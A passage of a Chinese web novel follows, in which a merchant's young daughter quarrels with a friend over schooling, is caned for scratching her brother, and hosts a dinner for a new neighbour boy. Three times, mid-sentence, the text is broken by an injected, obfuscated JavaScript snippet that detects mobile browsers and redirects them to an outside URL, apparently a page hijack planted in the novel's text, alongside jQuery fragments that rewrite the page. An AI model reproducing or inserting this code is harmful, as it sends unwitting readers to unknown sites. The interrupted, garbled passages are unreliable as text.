谢暎微愣，几乎是瞬间，他不由地想起了自己的父亲。 他爹爹便是在进京赴考的时候出了意外，若那时能一切顺利，不知他爹爹能否进士及第？想必一定是可以的，他爹爹…… “哦，对了。”谢夫子忽然又道，“想必待会还有人会给你送礼来。” 谢暎正要远飘的思绪被他打断，听着一时没能回过神。 谢夫子笑了笑，回身一边往懒架那边走，一边随口说道：“以后你就知道了，咱们这巷子里有意思得很。”他也不具体说是个怎么有意思法，只道，“先前蒋小娘子那般动静，定然大家都是知道了的，你看，这沈小娘子这就送了旁的来。” “至于这姚家，”谢夫子道，“我估计送的东西不会越过了那两家去，但意思总会到的。” 虽然从叔祖并未明说，但谢暎却并不迟钝，相反，因为自身经历的缘故使得他在这方面有着敏锐的触觉，他立刻便自觉明白了对方说的“有意思”大概是个什么意思。 谢暎忽然觉得有点头疼。 之后果如谢夫子所言，姚家也来了人上门，送的是用自家彩帛铺里的细绫做的两双白绫袜。 他只好也在叔祖的授意下收了。 *** 下午的时候，姚之如去了蒋家和蒋娇娇一起玩儿。 天气凉了，蒋娇娇也不爱往花园里去，便邀着小姐妹在屋里头玩推枣磨，还让人去准备了茶果，又拉着姚之如主动地说起了自己已经晓得五月的猪可以吃的事情。 姚之如显然已经忘了这茬，等蒋娇娇兴致勃勃地说完，她才随意地点了点头，然后苦着脸，说道：“娇娇，我爹娘在商量着要让我明年开春起到劝淑斋去读书。” “啊，为什么？”蒋娇娇有点懵，“姚大丈不是答应了等你过完生辰就来与我一起上谢夫子的课么？” 姚之如也感到很郁闷：“爹说我以后又不必考科举，用不着让秀才夫子给我启蒙。反倒是劝淑斋，女夫子都是琴棋书画样样精通的，连沈家小娘子也在那里就学，我去了也能开阔些眼界。” 她只能对蒋娇娇道：“要不，你同你爹说一声，你也去劝淑斋学？” “我才不要！”蒋娇娇有些着火，“你怎么不同你爹说你不去劝淑斋学？” 姚之如急道：“我说了我爹娘不听啊！你爹疼你，你说要和你大哥哥一样上学，你爹爹就请了谢夫子来给你启蒙，现下你若说要去劝淑斋，他肯定也同意的。” “我不。”蒋娇娇果断拒绝，气鼓鼓地抱着手，说道，“外头又不是只有一个劝淑斋可以上学，要不咱们两个就一道去别家学，要不你就来我家一起学，总之你要是去和沈云如做同窗，我就再不理你了！” 姚之如快急哭了：“娇娇，我、我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529260|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真不行……” 蒋娇娇气哼着扭坐开了身子。 姚之如只好道：“那我回家再问问。” 待姚之如走后，蒋娇娇又独自气闷了一会儿，便起身去了她娘亲金大娘子那里。 平常这个时候，她娘亲都会和小姑在一起做女红，不过今天当蒋娇娇进门的时候却还看见了另一个人——她的庶母，康娘子。 此时三个女人正围坐在一起绣花，蒋黎最先看见侄女进来，便笑着招呼道：“姚小娘子呢，怎么没同你一道过来？” 蒋娇娇恹恹道：“她回去了。” 蒋黎微怔，转眸和金大娘子对视了一眼，后者自然也是看出来了女儿的异样，便放下手中绣活，伸手把蒋娇娇揽入了怀中。 “怎么了？”她柔声轻问。 蒋娇娇就委委屈屈地把姚之如要去劝淑斋读书的事说了。 “姚大丈说话不算数。”她闷闷道，“明明答应了让之之来和我一起上课。” 金大娘子摸了摸女儿的头，说道：“姚家应是有自己的想法，你不能要求旁人也事事都顺你的心意。况不过是上个学而已，又不是就此分开见不着了，你们仍是日日能在一起，这也值得你闹一顿脾气？” 蒋娇娇闷着没说话。 康氏见状，便笑着劝道：“娇娇既不想和姚家小娘子分开，那不如就一道去劝淑斋上学好了，大娘子对老爷提一提，老爷必定答应。” 金大娘子没接话。 蒋黎看了看蒋娇娇，后者欲言又止地低着头。 康氏即有些许了然，又再笑了笑，起身礼道：“大娘子，我先回去看看二郎。” 金大娘子颔首，着人送了她出门口。 蒋黎这才开了口问蒋娇娇：“我一直没弄清楚，你之前不是和那沈家小娘子玩得也不错么？怎么突然就不肯好了，而且还要人家姚小娘子也要陪着你不能与别人好。” 蒋娇娇闷了半晌，没回答，眼圈却有点点发红。 金大娘子拿出手帕给她擦了擦脸，温声安抚道：“你与姚小娘子是好朋友，她在家里同你在家里不一样你又不是不知，怎能逼着她去同父母闹？你婆婆总说你是贴心棉袄，但既然你拿人家当朋友，就也该贴贴朋友的心才是，你说对不对？” 蒋娇娇没有争辩，但也没有认错，只一言不发地靠在她娘亲怀里。过了会儿，金大娘子感觉到有点不对，低头一看，才发现这丫头居然噙着一点泪花睡着了。 两个大人颇哭笑不得。 “这娇娇倒是心大。”蒋黎笑道。 金大娘子笑了笑：“她这大半天跑来跑去地闹腾，又是献殷勤又是告状，还同人家生了场气，估计早就累了。” 待金大娘子把蒋娇娇抱到小榻上安置好了，蒋黎才低声问道：“二嫂嫂，二哥哥没把娇娇送去外面上学，是不是还有别的原因？” 她原以为纯粹是因蒋娇娇闹着要和蒋修一样上学，但女娃又没法和男娃上一样的学的缘故，所以家里这才请了谢夫子来造个氛围。 金大娘子沉吟了须臾，说道：“娇娇这性子你也知道，且又没有裹脚。若是送去外面和其他那些富贵仕女们一起上学，恐是要惹出些是非来。尤其我们与沈家是一巷邻里，你二哥哥虽向来愿意和沈主簿交好，但却不太想娇娇做沈小娘子的陪衬。” 蒋黎低头看了眼自己的“大脚”，少顷，轻笑了笑，说道：“还好我不喜欢读书。” 5. 争执 蒋娇娇是被一阵甜香给撩醒的。 她朦朦胧胧地睁开眼，人还半懵着，便看见蒋修拿着块芙蓉饼在自己鼻前晃悠，她不由地随之对了对眼儿，然后伸手要来抓。 蒋修即时地手上一拐，将饼送入口中，不客气地咬了下去。 蒋娇娇回过神时也差不多醒了瞌睡，当下两手齐伸就要去挠她哥，蒋修索性把剩下的半块饼叼在嘴里，也同她小狗打架似地比拼起拳风来。 兄妹两个在这里你来我往地哈了几个回合，蒋娇娇忽然抓住蒋修的一只手往自己身前拽去，然后迅雷不及掩耳地低头在他手上咬了一口。 蒋修“嘶”了声，抬手便拍了下她的头，骂道：“蒋娇娇，你属狗啊？！” “你是猪！”蒋娇娇不甘示弱地骂回去。 蒋修回道：“你是笨猪。”又道，“不守信用的猪。” 蒋娇娇跳起来要打他。 因往日里兄妹两个也没少吵吵闹闹，蒋修比妹妹大两岁，现在又在练功夫，大多数时候也就是像刚才那样由他单方面压制着蒋娇娇逗一逗，小狗挠爪似地逗得差不多也就收了手。所以金大娘子和蒋黎也只当是寻常，并没有打算去管，谁知这回蒋娇娇却突然起了急，抬手一爪子下去竟把蒋修的脸给抓破了。 两人都愣住了，旁边侍候的女使见状不由“哎呀”叫出了声，金大娘子并蒋黎等人转头看过来，这才发现出了事。 “娇娇！”金大娘子喊了声，忙先看了眼儿子脸上的伤，见无甚大碍才松了口气，一边让人去取膏药来，一边对女儿责道，“快同你大哥哥道歉。” 蒋修回神后便感到了脸颊上火辣辣的痛，随即怒而推了蒋娇娇一把：“你有病啊？！” 蒋娇娇站立不稳，一屁股坐到了茵褥上。看着面前脸上挂了彩，正一脸愤怒地看着自己的蒋修，还有护在他身边的娘亲和其他人，好像一时间所有曾与她好的此时都站在了自己的对面。 她知道自己不该抓伤蒋修，可她也不是故意的，但这个时候她也不想道歉。 一阵莫名如洪水般涌来的委屈毫无预兆地从心底冲了上来，蒋娇娇忽然“哇”地一声哭了。 她这一声哭出来便再也止不住，声浪大得好像要把房顶给掀了，边嚎边蹬腿。 蒋修不由愣住了，心想我都还没哭你哭个屁？ 金大娘子不知想到什么，微皱了皱眉，正要趋前，身后却忽然传来了个微沉的男声道：“怎么回事？” 是她的丈夫，蒋家现如今的当家人——蒋世泽回来了。 众人纷纷与他见礼，唯有蒋娇娇仍坐在榻上哭得投入。 蒋世泽被女儿的哭声吸引，第一反应就是有人惹了这小丫头生气，秉着小孩闹腾的症结亦多在小孩的认知，下意识正要去问儿子，却忽见到蒋修脸上两道新鲜的血痕，顿时皱起了眉。 “你脸怎么弄的？”他问完这话，便神色不虞地看向了旁边侍候的家仆。 后者正尴尬为难着不知怎么回答，蒋修已兀自道：“爹，我自己不小心刮的。” 蒋娇娇其实从她爹进门那会儿起就一直伸着耳朵，此时听见她哥的话，不由地缓下了哭声，抬眼看去。 蒋世泽看了眼身边各人的神色，又见到儿女这番情状，便立刻猜到了怎么回事。 他沉着脸吩咐道：“去取藤条来。”又看向女儿道，“蒋娇娇，跪下。” 众人皆是一惊。 就连金大娘子也很是意外。 蒋世泽从来没打过孩子，倒不是因为他有什么觉得孩子不能打的原则——事实上金大娘子也并不知道他在教子这方面到底有什么原则，两人并没有就此问题展开过多么深入的讨论。只不过蒋修和蒋娇娇的情况比较特殊，前者因是早产，所以幼时从娘胎里出来便有些先天不足，身体一直不太好，经过长年累月的调养和这一年多靠练功强身，才开始有了好转。 而娇娇则是因为对蒋世泽来说意义有些不同。 她出生那会儿，蒋世泽才刚承起蒋家重担没多久，那时的家业不仅不能和现在相比，反而还有一些艰难，且更有大半身家都投放在了与别人合作的海船货运上，那时候海船迟迟未归，又有消息说船已经在海上遭了风暴，蒋世泽那阵子简直整夜整夜睡不好。 便是于这样的情况下，蒋娇娇在一个清晨出生了，那天正好也是观音娘娘的诞辰，二月十九。而随着蒋娇娇的出生，蒋世泽的生意也迎来了转机，那艘海船不仅回来了，还就此给蒋家今日的家业奠定了良好的开局，此后蒋世泽的买卖一帆风顺。 所以对于这个女儿，他向来也是差不多当作儿子一样喜欢的。 故而此时蒋世泽说要打她，不止金大娘子和蒋黎等人，就连蒋娇娇自己也是完全没有想到。 但她只是愣了愣，然后便老老实实就地跪在了茵褥上。 藤条很快被送了过来，蒋世泽拿起后屏退了下人，示意女儿伸手摊开掌心，蒋娇娇没什么反抗，只有些按捺不住忐忑地犹豫了下，然后便照做了。 “你一闹性子便不管不顾，旁的也就罢了，怎地敢动不动去伤你大哥哥的脸？”蒋世泽怒责道，“他将来前程若因此有什么损伤，你拿什么来赔？我看你当真是该知道知道些轻重！” 话音落下，已是一鞭狠狠打了下去。 蒋娇娇痛嘶一声，本能地缩起手飞快搓了搓，眼圈霎时有点红了。 “伸出来！”蒋世泽喝道。 她紧紧闭着嘴，咬牙把手伸了出去。 蒋世泽又狠狠打了一鞭。 金大娘子和蒋黎看着蒋娇娇的样子都禁不住有些心疼，但两人也都觉得蒋娇娇的脾气的确该收敛收敛，况此时蒋世泽正在气头上，此时去拦着恐怕反要被埋怨溺爱，所以只好都暂忍着。 然而当蒋世泽第三鞭正将要打下去时，却忽然被站在旁边的长子拽住了袖角。 “爹，”蒋修望着他，眉间微蹙，说道，“我不疼，您别打了。” “马师傅说我练功夫也难免会有些磕磕碰碰的，您总不能也去打我师傅。”蒋修道，“而且娇娇力气这么小，又不能当真伤着我。” 蒋世泽：“……”他万万没想到自己会被儿子的话给堵住，憋了半晌，没好气地说了句，“难道谁练功会像你这样没事往脸上招呼么？” “那可说不准，”蒋修还正经八百地同他讨论了起来，“我听人家说的书里，那些大英雄就在战场上受过很多伤。” 蒋世泽一口气又被他给堵住：“你老子又没让你去当英雄！” 金大娘子见状，即上前轻拉住了丈夫，温声劝道：“好了，我看娇娇也知道错了。他们兄妹两个友爱，官人应当欣慰才是，便由得他们自己去解决吧。” 蒋世泽侧眸看了眼妻子，缓了缓气，没再说什么。 蒋黎也趁机一把揽了侄女，一手拉了侄儿，笑着道：“那我带他们两个去收拾一下，不然晚上娘见了又要担心。” 蒋世泽没有反对。 蒋娇娇先前闹得身上出了汗，蒋黎和乳母担心她着凉，便索性给她擦了个澡，又重新换上衣服梳了个头，正在往她掌心上擦消肿膏药的时候，蒋修差了人过来说给蒋娇娇送芙蓉饼。 蒋娇娇愣了下，然后从圆墩上跳下来就跑了出去，正见着在外面探头探脑刚准备“潇洒离开”的蒋修。 “大哥哥！”她跑过去把他给抓住了。 “别拽我衣服。”蒋修不耐烦地抽开了手。 蒋娇娇掌心还痛着，见指尖抓不住他，索性就两臂齐上把蒋修的胳膊给环住了：“大哥哥，我错了，你还疼不疼呀？”目光直往他受伤那边脸颊瞥。 “我才没你那么废，”蒋修一脸不以为然地道，“这点小伤不在话下。” “对不起呀。”她诚恳地道着歉，然后抬手揪住自己两个耳垂，说道，“我以后不骂你是猪了。” 蒋修看了她一眼，目光落在她两只手上，顿了顿，问道：“手还疼不？” 蒋娇娇点头，委屈道：“爹爹手劲好大。” “活该。”蒋修说完，又状似随口地道，“娘说呼两下能好些，你没事自己多呼呼。” “哦。”蒋娇娇就低头呼呼了两下。 蒋修瞧着她，说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529261|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“刚那饼我让厨房新给你做的，你少吃两个，快吃晚饭了。” 蒋娇娇道：“我想给之之也分些。” “随便你。”蒋修懒得理会女孩家的事，抬脚走了。 不远处，金大娘子看着眼前这幕，微微笑了笑，转过头对王妈妈说道：“让人去请姚小娘子晚上过来吃饭吧。” *** 蒋娇娇把一份芙蓉饼分成了两份，刚把打算给姚之如的那份小心放到了食盒里，想了想，然后又从自己那份里面多拿了一块出来放进去。 这还不够，她还提笔打算亲自写个条子。 “小姑，”她回过头问蒋黎，“芙蓉饼怎么写啊？” 蒋黎觉得说了她也不会，便过来接了纸笔，说道：“你先说，我给你写个样儿，然后你再抄一份。” 蒋娇娇点头，开始念道：“‘之之，这是我大哥哥让人给我做的芙蓉饼，我们分、分……’”她记得好像有个挺有学问的词可以用，但怎么也想不起来那个词是分什么，于是索性道，“额，分着吃。你多吃一点。” 蒋黎就开始帮她写。 蒋娇娇看见她姑写到芙蓉饼三个字的时候才发现笔画有点多。 “等下。”她忽想起什么的样子，又道，“小姑，我觉得之之应该也不认识那么多字，你写清楚意思就是了。” 蒋黎看着纸上刚写好的“饼”字，抿了抿笑，问她：“那要不我就干脆只写四个字：之之，你吃？” 蒋娇娇正犹豫着这四个字够不够，便见母亲身边的女使珠蕊领着姚之如主仆走了进来，笑道：“姑娘，大娘子替你请了姚小娘子来做客，已吩咐了厨房晚间送席面过来。” 蒋娇娇愣了一下，还没全回过神，姚之如已冲着她快步走了上来。 “娇娇，我就知道你好！”姚之如满脸感动地拉着她的手。 蒋娇娇有点高兴，也有点安慰，于是也顺坡道：“这个芙蓉饼你尝尝，我给你留的。” 姚之如却看见了她掌心尚未消散的红肿，关心道：“你手怎么了？” 蒋娇娇浑不在意地道：“我和大哥哥闹着玩不小心伤了他，向他赔罪来着。”说完也不等姚之如再问，便催着对方赶紧趁热尝饼。 姚之如便也没多在意，高高兴兴地吃了起来。 蒋黎不动声色地嘱咐旁边人收了纸笔，准备把地方让开，却听蒋娇娇道：“小姑，要不晚上你来和我们一起吃吧？我打算把大哥哥也叫来。”说完想了想，问姚之如，“要不我们把谢暎也一起请过来吃饭？你和大哥哥还没正式与他见过呢。” 姚之如嚼着饼，含糊不清地附和：“好啊。” 蒋黎笑着推了：“你们正好同新朋友好好说说话。” 蒋娇娇就吩咐自己的小女使小荷去找蒋修，顺便让对方出面去跟父亲说一声，好差个人去谢夫子那里把谢暎请过来。 过了没多久，蒋修便带着小厮过来了，对蒋娇娇道：“爹派人去了。还让人也去请了沈家郎娘一起过来，说就当让大家都认识一下。” 蒋娇娇：“……” 姚之如顿了顿，问道：“沈小官人也要来么？” 蒋修道：“应该会吧，每次请他不都来了。”对这些事并不是很在意的样子。 姚之如唇角刚要弯起，又忽地瞧见了蒋娇娇的脸色，于是默默抿住，小心地劝道：“娇娇，反正大家本来年节时也都要见面的，来就来了，也没有什么。” 蒋娇娇自然也知道自己一年到头少不了和沈云如的面子交情，光就过不了多久便要去的沈家寿宴肯定就得碰上，更何况她爹爹都让人去请了，难道她此时能说不行么？她手板心现在还痛着呢。 “来便来了，我又不是请不起她，便是她将桌上的饭菜都吃空了，我也不会说她不该吃。”蒋娇娇没好气地说完，又想到什么，即对姚之如道，“我同你说哦，你去与她做同窗归做同窗，但不许与她好。” 姚之如点头如捣蒜，保证道：“我只同你最好。” 蒋娇娇这才满意了。 蒋修在旁边面无表情地看着，淡淡道：“幼稚。” 6. 认识 因本是金大娘子为两个女孩准备的和好宴被蒋娇娇改成了“给新邻居的接风宴”，所以在大人的安排下，便将席面设在了外院的花园暖亭里。 蒋世泽也索性把巷子里的大孩子都请了过来。 这其中便包括了姚之如的两个哥哥，还有沈家的沈云如和沈约姐弟俩——至于两人的大哥哥沈缙，则因尚在学里头没到放假回来的日子，所以并不在列。 谢暎收到邀请时其实内心是拒绝的，但蒋家来的人态度热情，又专门说家里头特为他备了素宴。碍于将要长住的情面，他只好在从叔祖的授意下答应了。 他既答应了，自然就要讲礼，不好让别人都等着他一个，于是转回头来换了件整洁的衣服，便同谢夫子告辞出了门。 早上来的时候其实他已经看见了蒋家的门脸，所以此时径直便找了过去，那门房是个机灵人，一见他便已猜知身份，不待谢暎开口即招呼着他并前导去了花园。 “谢暎！”蒋娇娇远远就瞧见了他，撒脚便跑了过去。 谢暎看她满面笑容地朝自己奔来，忽然有些恍惚，好像上一次自己被人这样热烈地欢迎已是很久很久以前。 他不禁又想起了她在灶房里望着他，一脸认真地说来年生辰要请他吃全猪宴的样子。 姚之如早就习惯了蒋娇娇的风风火火，自知脚下跟不上，也就放弃跟了，只是从座位上站了起来，向着谢暎走来的方向亦微笑着礼貌示好。 蒋修则随妹妹走到了谢暎面前。 “我同你介绍，这是我大哥哥，蒋大郎！”蒋娇娇热情地介绍完，又为了弥补她哥，所以更尽力地补充道，“他本来是要和我一起去给你送礼的。” 谢暎客气地告了礼。 蒋修同他还了礼，说道：“我是熙宁四年六月生人，学里先生已给我起了字唤‘善之’。” 谢暎便又礼道：“善之兄。” 蒋修神清气爽地翘了翘唇角。 只听谢暎又续道：“我是家中独子，尚未有字。” 蒋修将手往他肩上一搭，大咧咧道：“都是自家伙伴，元郎莫拘束。我听我小姑说了，你从叔祖打算让你去我们学里念书，到时咱们还要互相照顾。” 蒋娇娇站在旁边乐呵地点头：“嗯嗯！”言罢又觉得好像不够突出自己的存在，便再补道，“大哥哥在学里照顾你，我在照金巷照顾你。” 谢暎不由看了她一眼。顿了顿，方又朝蒋修看去，礼道：“谢谢。” 蒋修很是高兴。 “谢暎你来。”蒋娇娇抓着他的袖子，把人拉入了暖亭，于席前站定后，又介绍道，“这是姚小娘子，我的好朋友，她爹爹便是姚家彩帛铺的老板。” 谢暎与姚之如互相见了礼。 “等下之之的两个哥哥也要过来。”蒋娇娇随口说完，停了停，又用一种明显低落了两分的情绪说道，“还有沈主簿家的小娘子和小官人也过来。”然后抬眸看着他，提醒道，“你要记住哦，我的好朋友只有之之。” 谢暎略感茫然。 蒋娇娇看他好像没听懂，便又提醒道：“你也是我的朋友，但是有的人不是我的朋友。” 谢暎：“……” 蒋修听不下去了，说道：“谢元郎是跟我们男孩子玩的，你们女孩家的事扯来扯去地少来烦人。” 谢暎没说话。 蒋娇娇就忍不住有点气，说她哥：“我先和谢暎交的朋友，凭什么只跟你们玩儿？你们男孩子才最讨厌！” 谢暎沉默地想，我好像也是男的。 然后蒋娇娇就倏地看向了他，不知何故，他不由心中一“噔”，定定迎着她的目光，一时竟不知如何反应。 接着便听见她说：“我们是好朋友！” 那眼神和语气，仿佛在向他确定，又是在约定什么一般。 谢暎默然片刻，终是佯作没有察觉她的期待，转而对蒋修说道：“初次登门拜访，承蒙款待，我还是该去拜见一下长辈。” 蒋修立刻道：“我带你去。” 谢暎原本还有些担心以蒋娇娇的性格恐怕会拉着自己继续说个分明，谁知她听了他们还有正事要去做，倒也十分心大地把这篇翻了过去，还催着两人早去早回。 他松了口气之余，又不免于心中生起了两分莫名的歉疚。 谢暎和蒋修前脚刚走没一会儿，姚之如的两个兄长便也到了。姚二郎今年方九岁，大约因着年纪要相近些的缘故，相比起自己兄长，他平日里和蒋娇娇能说的话倒要多些，此时见着她便熟稔地问道：“你大哥哥和沈二郎今天在学里把袁四郎给收拾了一顿，你知道不？” 旁边十三岁的姚大郎虽一副“我不掺和这些长短”的样子，但显然也正伸长了耳朵在听。 蒋娇娇愣了愣，好奇道：“为什么？” 姚二郎道：“我听着说，好像是袁四郎在间休大家一起玩捶丸的时候，随口向你大哥哥问了句闲话，道他是不是蒋二丈送给沈主簿的小女婿。” 蒋娇娇一时没理清楚这层关系，还是姚之如先反应过来，顿感不妙地道：“他怎么这样的话也敢胡言乱语？！” 姚二郎笑道：“善之也生气来着，骂他嘴上糊了屎。沈家二郎自也听不得旁人拿他姐姐取笑，两人就着手里头的杆子一人给了袁四郎一下，那小子自知嘴上一时没把门理亏，也灰溜溜地认了。” 姚之如气道：“他回家也该挨打！” 姚大郎不紧不慢地打着圆场：“善之年纪才多大，那袁四郎也是个小子，不过嘴上图个好奇，旁人都不当真，不是什么大事。” 姚之如看了看她大哥哥，想说什么，却又只得忍着气咽了回去。 蒋娇娇此时也明白了来龙去脉，心里不免有些生气，一是气那个袁四郎像个棒槌乱说话；二则是气那棒槌就算乱说也不该说她大哥哥是送给沈家的，说是给姚家的也行啊。 于是她这些不悦便转向了来传话的姚二郎：“你与其此时跑来与我说，让我也觉得不高兴，还不如当时帮着他们两个也去给那袁四郎一下。” 姚二郎一愣，旋即涨红了脸，有些尴尬。 姚大郎知道弟弟是想在蒋娇娇面前卖好，可谁知这蒋小娘子的脾气这般难捉摸？他也不想得罪她，正想转开话题，便见蒋家下人引着沈家姐弟两个过来了。 他忙冲着对方打招呼：“子信！”又礼唤道，“沈小娘子。” 沈云如和沈约是龙凤胎，但长相却并不像，蒋娇娇觉得这两人的相像之处大约都放在了性格上，都是一副仙女端盘子的样子——高高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529262|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在上碰不得。 其实她觉得沈家老太太也是这个模样。 不过又因沈约和蒋修尚能玩在一起的缘故，所以蒋娇娇对他的感觉倒要比对他姐好一些。 姚之如悄悄整了整裙子，看着来人，高高兴兴地弯起了唇角。 沈云如与沈约走到近前，先和站在近处招呼他们的姚家兄弟回了礼。 姚之如同他们打招呼：“沈……姐姐，沈小官人。”她心中暗松了口气，好险没有叫反。 沈云如向她微笑了笑：“姚小娘子好。” 沈约也对她浅浅垂眸示礼。 蒋娇娇抱着手，清了清嗓子。 沈云如这才偏转视线朝她看来，仍微微笑着，说道：“蒋小娘子，谢你相邀。” 蒋娇娇心里不太舒服，但又不知道该怎么合适地把这种不舒服表达出去而又不会被大人责备，于是她犹豫了两息，终是忍了。 “别客气，大家都是邻居。”她索性大方道，“请坐吧。” 沈约环顾了一圈周围，问道：“善之呢？” 不待蒋娇娇回答，姚之如已积极道：“蒋大哥哥领谢元郎去拜访长辈们了。” 沈云如一听，便道：“那我们也该去问候一下。” 沈约点头，正要随她起身，便听得身后传来了个声音道：“用不着这么麻烦，爹说让咱们随意些！” 众人循声回头，果见着蒋修和谢暎快步走了回来。 几人又纷纷与新邻谢暎见了礼。 “谢元郎稍后还要来学里和我们一起念书。”蒋修看向沈约和姚家兄弟，高兴地说道。 谢暎微顿，委婉地纠正道：“也不会那么快，大约明年吧。” 蒋家兄妹不免有些纳闷，还没问是为啥，姚大郎已面露恍然地说道：“是要等检校库的季资么？” 谢暎怔了怔。 姚大郎看他反应便知道自己说对了，于是不免露出了两分得色，状似谦虚地给其他人介绍道：“我听爹说，朝廷的检校库便是干这个的。” 然后学着他父亲的样子，把“大盛律例曰‘孤幼财产，官为检校，使亲戚抚养之，季给所需’”的话又复述了一遍。 沈云如、沈约姐弟的父亲是当官的，家中又有祖上士家积淀，这些自然也是知道的。但两人并未多言，听得姚大郎一人在旁边侃侃而谈，也没有插话，只默默喝着自己面前的豆乳。 而蒋家兄妹在听明白了姚大郎的意思后，不由地对视了一眼，蒋修随即便道：“那明年便明年吧，反正这都十一月了，也不过转眼。” 姚大郎却不赞同地道：“谢元郎和我们又不同，人家父亲可是举人，自然是有要求的。”又语气关心地对谢暎道，“其实你现在同谢夫子住在一起，这些事也不用担心才是，况书院束脩也不多，莫不是夫子那里有什么难处？” 姚二郎在旁边听着，不禁也饶有兴致地朝谢暎望去，好似在等着什么八卦。 谢暎却没有什么特别的反应，平静地礼貌回道：“谢姚家兄长关心，从叔祖那里倒没有什么不便的，我很谢谢他照顾。只是我自己觉得不必急在一时罢了。” 姚大郎只当他是要面子，不置可否地笑了笑。 沈云如此时忽向蒋修问道：“你的脸怎么了？” 7. 失格 其实蒋修脸上的伤所有人都看到了，不过其他人都觉得不方便问，除了姚之如是知道内情以及谢暎是觉得不应多管闲事外，余下几个多少都知道蒋修的性格——颇要强。 所以他若挂了彩，却又未曾主动说起最终还是自己赢了的“光辉战果”，那就只能证明：这事他并不想提。那旁人自然也就装着没瞧见是最好。 结果谁都没想到，沈云如却这么直接地问了出来。 一提到这个，蒋娇娇就难免有点心虚和内疚，不由自主地眼巴巴看向了她哥。 谢暎的视线落在她脸上，停了停，然后顺着她又看了看蒋修脸上的伤痕，末了，觉得自己明白了。 蒋修已浑不在意地说道：“没事，猫挠的。” 蒋娇娇默默地低下了头。 恰此时，厨上已流水般地将席面送了上来。 蒋修就转开了话题，招呼着大家别客气，还对谢暎道：“那些肉也都是素的，不过是让厨上做的样子。” 谢暎往席上看去，见一张长桌很快便被摆满了各色菜式，凉热菜、干果甜点并时鲜锅子竟是一样不少。 蒋娇娇还问他：“你看看这些行么？还有没有什么别的想吃的？” 谢暎从诧异中回过神，看着她，点了点头：“这些都很好，已经够多了，谢谢。” 蒋娇娇很高兴，冲着他扬了个灿烂的笑容。 谢暎有些不自在，低头喝起了面前的豆乳。 这头沈云如却待蒋家仆人退下之后，又问蒋修道：“你们家里养了猫？” 蒋修随手给坐在旁边的妹妹夹了块炸梅鱼，随口回道：“嗯，狮子猫，才养了两天，你们都没见过。挠了我就跑了，胆子小得很。” 蒋娇娇咬了一口，觉得味道极尽逼真，甚至好像比原本用鱼肉做的还多了几分脆爽，忙又招呼姚之如和谢暎：“这个好吃！”然后伸长了手给两人分别夹了一块。 谢暎见她手短还非要亲自夹过来，只好起身端了碗去接，目光落在她腕下，忍不住轻声提醒道：“袖子。” “哦哦。”蒋娇娇忙用另一只手捏住。 姚之如没有蒋娇娇那么大胆，只好委婉向坐在斜对面的沈约说道：“沈小官人，你……和沈姐姐也尝尝吧。” 沈约点点头，提箸自己夹了一块，而沈云如身边侍候的小女使则帮她夹了一块到碗中。 蒋娇娇悄声对姚之如道：“每回就她在席上摆谱，好像谁家没有女使似地。” 姚之如偷眼看了眼沈约，不好出声回应，只默默点头以示赞同。 却见沈云如也没立刻动筷，而是接着蒋修的话又说道：“这些畜生便是没心没肺，你以后要小心才是，何必养来自己遭罪。” 蒋娇娇虽明知对方并不晓得“罪魁祸首”是她，但却仍是不由生出了股自己被骂了的不爽。 好在她哥看起来也不是很想搭理对方，只点了点头：“嗯，知道了。” 沈云如大约也是看出来了蒋修的敷衍，一时没挂住，不由地沉了脸，恰见小女使将盛了菜的青瓷小碟放在面前，她心绪不悦之下顺手便是一推，哪知不经意用力大了些，小碟正好与近处的瓷盅相碰，发出了清脆的响声。 顿时吸引了所有人的视线。 沈云如毕竟也只有八岁，乍见自己一时不防失了态，霎时涨红了脸，不免有些无措。 她想也不想地便倏地站了起来——而这却又成了让自己后悔的第二个举动。 蒋娇娇突然脑海中灵光一闪想到了个词，脱口而出道：“沈姐姐，你这是打算‘拂桌而去’么？” 桌上静默了两息。 姚之如问：“拂桌而去是什么意思？” 蒋娇娇只记得这个词是用在人生气离开的时候，便道：“就是说沈姐姐很生气，要走的意思。” 姚大郎听不下去了，纠正道：“那叫拂袖而去。” “哦，对对，是袖子。”蒋娇娇恍然道，“我就说好像不太顺口。”她光记得说书人每回提到这个词时那袖子从桌案上拂过去的样子了。 姚之如也松了口气，她还以为沈云如真是要掀桌子。 蒋修嫌弃地看了眼他妹：“笨蛋。” 蒋娇娇有点儿不好意思，佯作无事的样子低头扒起了饭。 谢暎垂下目光，抿了抿唇角。 沈约则皱了皱眉，抬头看向沈云如，说道：“大姐姐，你是不是坐着不太舒服？” 